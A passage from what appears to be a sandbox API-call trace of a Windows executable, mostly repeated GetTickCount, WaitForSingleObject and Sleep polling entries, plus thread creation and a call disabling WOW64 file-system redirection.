(hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.797] GetTickCount () returned 0x116bb0a [0174.797] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.904] GetTickCount () returned 0x116bb78 [0174.904] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.014] GetTickCount () returned 0x116bbe5 [0175.014] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.123] GetTickCount () returned 0x116bc52 [0175.123] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.233] GetTickCount () returned 0x116bcc0 [0175.233] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.364] GetTickCount () returned 0x116bd4c [0175.364] GetTickCount () returned 0x116bd4c [0175.364] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.469] GetTickCount () returned 0x116bdaa [0175.469] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.576] GetTickCount () returned 0x116be17 [0175.576] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.686] GetTickCount () returned 0x116be85 [0175.686] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.795] GetTickCount () returned 0x116bef2 [0175.795] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0175.905] GetTickCount () returned 0x116bf60 [0175.905] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.014] GetTickCount () returned 0x116bfcd [0176.014] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.123] GetTickCount () returned 0x116c03a [0176.123] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.233] GetTickCount () returned 0x116c0a8 [0176.233] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.342] GetTickCount () returned 0x116c115 [0176.342] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.451] GetTickCount () returned 0x116c182 [0176.451] GetTickCount () returned 0x116c182 [0176.451] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.560] GetTickCount () returned 0x116c1f0 [0176.560] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.670] GetTickCount () returned 0x116c25d [0176.670] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.780] GetTickCount () returned 0x116c2cb [0176.780] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.892] GetTickCount () returned 0x116c348 [0176.892] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0176.999] GetTickCount () returned 0x116c3a5 [0176.999] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x0 [0177.072] GetTickCount () returned 0x116c3e4 [0177.072] Sleep (dwMilliseconds=0x64) [0177.185] GetTickCount () returned 0x116c461 [0177.185] Sleep (dwMilliseconds=0x64) [0177.313] GetTickCount () returned 0x116c4de [0177.313] Sleep (dwMilliseconds=0x64) [0177.442] GetTickCount () returned 0x116c55b [0177.442] Sleep (dwMilliseconds=0x64) [0177.549] GetTickCount () returned 0x116c5c8 [0177.549] GetTickCount () returned 0x116c5c8 [0177.549] Sleep (dwMilliseconds=0x64) [0177.701] GetTickCount () returned 0x116c664 [0177.701] Sleep (dwMilliseconds=0x64) [0177.813] GetTickCount () returned 0x116c6d2 [0177.813] Sleep (dwMilliseconds=0x64) [0177.924] GetTickCount () returned 0x116c73f [0177.924] Sleep (dwMilliseconds=0x64) [0178.031] GetTickCount () returned 0x116c7ad [0178.031] Sleep (dwMilliseconds=0x64) [0178.139] GetTickCount () returned 0x116c81a [0178.139] Sleep (dwMilliseconds=0x64) [0178.248] GetTickCount () returned 0x116c887 [0178.248] Sleep (dwMilliseconds=0x64) [0178.364] GetTickCount () returned 0x116c8f5 [0178.364] Sleep (dwMilliseconds=0x64) [0178.484] GetTickCount () returned 0x116c972 [0178.484] Sleep (dwMilliseconds=0x64) [0178.592] GetTickCount () returned 0x116c9df [0178.592] GetTickCount () returned 0x116c9df [0178.592] Sleep (dwMilliseconds=0x64) [0178.702] GetTickCount () returned 0x116ca4c [0178.702] Sleep (dwMilliseconds=0x64) [0178.812] GetTickCount () returned 0x116caba [0178.812] Sleep (dwMilliseconds=0x64) [0178.920] GetTickCount () returned 0x116cb27 [0178.920] Sleep (dwMilliseconds=0x64) [0179.029] GetTickCount () returned 0x116cb95 [0179.029] Sleep (dwMilliseconds=0x64) [0179.140] GetTickCount () returned 0x116cc02 [0179.140] Sleep (dwMilliseconds=0x64) [0179.248] GetTickCount () returned 0x116cc6f [0179.248] Sleep (dwMilliseconds=0x64) [0179.366] GetTickCount () returned 0x116ccec [0179.366] Sleep (dwMilliseconds=0x64) [0179.467] GetTickCount () returned 0x116cd4a [0179.467] Sleep (dwMilliseconds=0x64) [0179.577] GetTickCount () returned 0x116cdb7 [0179.577] Sleep (dwMilliseconds=0x64) [0179.687] GetTickCount () returned 0x116ce25 [0179.687] GetTickCount () returned 0x116ce25 [0179.687] Sleep (dwMilliseconds=0x64) [0179.797] GetTickCount () returned 0x116ce92 [0179.797] Sleep (dwMilliseconds=0x64) [0179.904] GetTickCount () returned 0x116cf00 [0179.904] Sleep (dwMilliseconds=0x64) [0180.017] GetTickCount () returned 0x116cf7d [0180.017] Sleep (dwMilliseconds=0x64) [0180.124] GetTickCount () returned 0x116cfda [0180.124] Sleep (dwMilliseconds=0x64) [0180.233] GetTickCount () returned 0x116d048 [0180.233] Sleep (dwMilliseconds=0x64) [0180.341] GetTickCount () returned 0x116d0b5 [0180.341] Sleep (dwMilliseconds=0x64) [0180.451] GetTickCount () returned 0x116d122 [0180.451] Sleep (dwMilliseconds=0x64) [0180.561] GetTickCount () returned 0x116d190 [0180.561] Sleep (dwMilliseconds=0x64) [0180.670] GetTickCount () returned 0x116d1fd [0180.670] Sleep (dwMilliseconds=0x64) [0180.779] GetTickCount () returned 0x116d26b [0180.779] GetTickCount () returned 0x116d26b [0180.779] Sleep (dwMilliseconds=0x64) [0180.891] GetTickCount () returned 0x116d2d8 [0180.891] Sleep (dwMilliseconds=0x64) Thread: id = 281 os_tid = 0xb64 [0147.577] GetTickCount () returned 0x11650b7 [0147.577] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x70a250 [0147.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0147.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0147.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0147.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0147.578] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x709200 [0147.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x709200, Size=0x20) returned 0x6eec98 [0147.578] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x709428 [0147.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x709428, Size=0x20) returned 0x6eeb08 [0147.578] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.578] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.578] Wow64DisableWow64FsRedirection (in: OldValue=0x298ff7c | out: OldValue=0x298ff7c*=0x0) returned 1 [0147.578] lstrlenW (lpString="kernel32.dll") returned 12 [0147.578] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.579] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.579] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x73d558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0147.579] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0147.707] GetTickCount () returned 0x1165134 [0147.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0147.980] GetTickCount () returned 0x116524e [0147.980] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0148.492] GetTickCount () returned 0x1165451 [0148.493] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0148.965] GetTickCount () returned 0x1165626 [0148.965] GetTickCount () returned 0x1165626 [0148.965] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0149.377] GetTickCount () returned 0x11657cc [0149.377] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0149.743] GetTickCount () returned 0x1165933 [0149.743] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0150.260] GetTickCount () returned 0x1165b37 [0150.260] GetTickCount () returned 0x1165b37 [0150.260] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0150.779] GetTickCount () returned 0x1165d3b [0150.779] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0151.035] GetTickCount () returned 0x1165e44 [0151.035] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0151.558] GetTickCount () returned 0x1166048 [0151.558] GetTickCount () returned 0x1166048 [0151.558] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0152.171] GetTickCount () returned 0x11662a9 [0152.171] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0152.469] GetTickCount () returned 0x11663d2 [0152.469] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0153.104] GetTickCount () returned 0x1166653 [0153.104] GetTickCount () returned 0x1166653 [0153.104] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0153.718] GetTickCount () returned 0x11668c4 [0153.718] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0154.043] GetTickCount () returned 0x11669fc [0154.043] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0154.390] GetTickCount () returned 0x1166b54 [0154.390] GetTickCount () returned 0x1166b54 [0154.390] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0154.904] GetTickCount () returned 0x1166d58 [0154.904] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0155.469] GetTickCount () returned 0x1166f8a [0155.469] GetTickCount () returned 0x1166f8a [0155.469] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0155.800] GetTickCount () returned 0x11670d2 [0155.800] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0156.147] GetTickCount () returned 0x116722a [0156.147] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0156.746] GetTickCount () returned 0x116748b [0156.746] GetTickCount () returned 0x116748b [0156.746] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0157.136] GetTickCount () returned 0x1167612 [0157.136] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0157.516] GetTickCount () returned 0x1167789 [0157.516] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0157.950] GetTickCount () returned 0x116793e [0157.950] GetTickCount () returned 0x116793e [0157.950] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0158.519] GetTickCount () returned 0x1167b81 [0158.519] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0159.082] GetTickCount () returned 0x1167db3 [0159.082] GetTickCount () returned 0x1167db3 [0159.082] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0159.480] GetTickCount () returned 0x1167f3a [0159.480] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0160.211] GetTickCount () returned 0x1168218 [0160.211] GetTickCount () returned 0x1168218 [0160.211] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0160.693] GetTickCount () returned 0x11683fc [0160.693] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0161.214] GetTickCount () returned 0x1168600 [0161.214] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0161.786] GetTickCount () returned 0x1168842 [0161.786] GetTickCount () returned 0x1168842 [0161.787] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0162.191] GetTickCount () returned 0x11689d8 [0162.191] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0162.711] GetTickCount () returned 0x1168bdc [0162.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0163.163] GetTickCount () returned 0x1168da1 [0163.163] GetTickCount () returned 0x1168da1 [0163.163] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0163.489] GetTickCount () returned 0x1168eda [0163.489] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0163.947] GetTickCount () returned 0x116909f [0163.947] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0164.467] GetTickCount () returned 0x11692b2 [0164.467] GetTickCount () returned 0x11692b2 [0164.467] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0164.986] GetTickCount () returned 0x11694b6 [0164.986] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0165.344] GetTickCount () returned 0x116961d [0165.345] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0165.458] GetTickCount () returned 0x116968a [0165.458] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0165.564] GetTickCount () returned 0x11696f8 [0165.564] GetTickCount () returned 0x11696f8 [0165.564] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0165.672] GetTickCount () returned 0x1169765 [0165.672] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0165.786] GetTickCount () returned 0x11697d3 [0165.786] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0165.893] GetTickCount () returned 0x1169840 [0165.893] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.016] GetTickCount () returned 0x11698bd [0166.016] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.125] GetTickCount () returned 0x116992a [0166.125] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.233] GetTickCount () returned 0x1169998 [0166.233] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.343] GetTickCount () returned 0x1169a05 [0166.343] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.474] GetTickCount () returned 0x1169a82 [0166.474] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.615] GetTickCount () returned 0x1169b1e [0166.615] GetTickCount () returned 0x1169b1e [0166.615] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.717] GetTickCount () returned 0x1169b7c [0166.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.840] GetTickCount () returned 0x1169be9 [0166.840] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0166.938] GetTickCount () returned 0x1169c57 [0166.938] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.049] GetTickCount () returned 0x1169cc4 [0167.049] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.155] GetTickCount () returned 0x1169d32 [0167.155] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.282] GetTickCount () returned 0x1169daf [0167.282] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.393] GetTickCount () returned 0x1169e1c [0167.393] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.502] GetTickCount () returned 0x1169e89 [0167.502] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.609] GetTickCount () returned 0x1169ef7 [0167.609] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.720] GetTickCount () returned 0x1169f64 [0167.720] GetTickCount () returned 0x1169f64 [0167.720] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.828] GetTickCount () returned 0x1169fd1 [0167.828] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0167.936] GetTickCount () returned 0x116a03f [0167.936] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.046] GetTickCount () returned 0x116a0ac [0168.046] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.154] GetTickCount () returned 0x116a11a [0168.154] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.265] GetTickCount () returned 0x116a187 [0168.265] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.389] GetTickCount () returned 0x116a204 [0168.389] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.499] GetTickCount () returned 0x116a271 [0168.499] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.609] GetTickCount () returned 0x116a2df [0168.609] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.719] GetTickCount () returned 0x116a34c [0168.719] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.828] GetTickCount () returned 0x116a3b9 [0168.828] GetTickCount () returned 0x116a3b9 [0168.828] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0168.940] GetTickCount () returned 0x116a427 [0168.940] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.045] GetTickCount () returned 0x116a494 [0169.045] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.155] GetTickCount () returned 0x116a502 [0169.155] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.269] GetTickCount () returned 0x116a56f [0169.269] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.389] GetTickCount () returned 0x116a5ec [0169.389] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.503] GetTickCount () returned 0x116a659 [0169.503] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.609] GetTickCount () returned 0x116a6c7 [0169.609] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.718] GetTickCount () returned 0x116a734 [0169.718] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.829] GetTickCount () returned 0x116a7a1 [0169.829] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0169.936] GetTickCount () returned 0x116a80f [0169.936] GetTickCount () returned 0x116a80f [0169.936] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.045] GetTickCount () returned 0x116a87c [0170.045] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.155] GetTickCount () returned 0x116a8ea [0170.155] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.265] GetTickCount () returned 0x116a957 [0170.265] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.390] GetTickCount () returned 0x116a9d4 [0170.390] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.500] GetTickCount () returned 0x116aa41 [0170.500] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.608] GetTickCount () returned 0x116aaaf [0170.608] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.718] GetTickCount () returned 0x116ab1c [0170.718] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.827] GetTickCount () returned 0x116ab89 [0170.827] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0170.938] GetTickCount () returned 0x116abf7 [0170.938] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.048] GetTickCount () returned 0x116ac64 [0171.048] GetTickCount () returned 0x116ac64 [0171.048] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.156] GetTickCount () returned 0x116acd2 [0171.156] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.280] GetTickCount () returned 0x116ad4f [0171.280] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.390] GetTickCount () returned 0x116adbc [0171.390] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.498] GetTickCount () returned 0x116ae29 [0171.498] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.610] GetTickCount () returned 0x116ae97 [0171.610] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.717] GetTickCount () returned 0x116af04 [0171.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.827] GetTickCount () returned 0x116af71 [0171.827] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0171.937] GetTickCount () returned 0x116afdf [0171.937] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.045] GetTickCount () returned 0x116b04c [0172.045] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.156] GetTickCount () returned 0x116b0ba [0172.156] GetTickCount () returned 0x116b0ba [0172.156] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.264] GetTickCount () returned 0x116b127 [0172.264] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.375] GetTickCount () returned 0x116b194 [0172.375] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.483] GetTickCount () returned 0x116b202 [0172.483] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.593] GetTickCount () returned 0x116b26f [0172.593] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.703] GetTickCount () returned 0x116b2dc [0172.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.811] GetTickCount () returned 0x116b34a [0172.811] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0172.920] GetTickCount () returned 0x116b3b7 [0172.920] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.030] GetTickCount () returned 0x116b425 [0173.030] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.140] GetTickCount () returned 0x116b4a2 [0173.140] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.248] GetTickCount () returned 0x116b4ff [0173.248] GetTickCount () returned 0x116b4ff [0173.248] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.366] GetTickCount () returned 0x116b56d [0173.366] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.470] GetTickCount () returned 0x116b5da [0173.470] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.582] GetTickCount () returned 0x116b647 [0173.583] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.685] GetTickCount () returned 0x116b6b5 [0173.685] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.795] GetTickCount () returned 0x116b722 [0173.795] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0173.904] GetTickCount () returned 0x116b790 [0173.904] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.014] GetTickCount () returned 0x116b7fd [0174.014] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.124] GetTickCount () returned 0x116b86a [0174.124] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.232] GetTickCount () returned 0x116b8d8 [0174.232] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.344] GetTickCount () returned 0x116b945 [0174.344] GetTickCount () returned 0x116b945 [0174.344] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.514] GetTickCount () returned 0x116b9f1 [0174.514] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.662] GetTickCount () returned 0x116ba8d [0174.662] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.797] GetTickCount () returned 0x116bb0a [0174.797] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0174.904] GetTickCount () returned 0x116bb78 [0174.904] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.014] GetTickCount () returned 0x116bbe5 [0175.014] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.123] GetTickCount () returned 0x116bc52 [0175.123] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.233] GetTickCount () returned 0x116bcc0 [0175.233] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.364] GetTickCount () returned 0x116bd4c [0175.364] GetTickCount () returned 0x116bd4c [0175.364] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.469] GetTickCount () returned 0x116bdaa [0175.469] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.576] GetTickCount () returned 0x116be17 [0175.576] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.686] GetTickCount () returned 0x116be85 [0175.686] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.795] GetTickCount () returned 0x116bef2 [0175.795] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0175.905] GetTickCount () returned 0x116bf60 [0175.905] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.013] GetTickCount () returned 0x116bfcd [0176.013] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.123] GetTickCount () returned 0x116c03a [0176.123] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.233] GetTickCount () returned 0x116c0a8 [0176.233] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.342] GetTickCount () returned 0x116c115 [0176.342] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.451] GetTickCount () returned 0x116c182 [0176.451] GetTickCount () returned 0x116c182 [0176.451] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.560] GetTickCount () returned 0x116c1f0 [0176.560] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.670] GetTickCount () returned 0x116c25d [0176.670] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.779] GetTickCount () returned 0x116c2cb [0176.779] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.892] GetTickCount () returned 0x116c348 [0176.892] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0176.999] GetTickCount () returned 0x116c3a5 [0176.999] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x0 [0177.072] GetTickCount () returned 0x116c3e4 [0177.072] Sleep (dwMilliseconds=0x64) [0177.185] GetTickCount () returned 0x116c461 [0177.185] Sleep 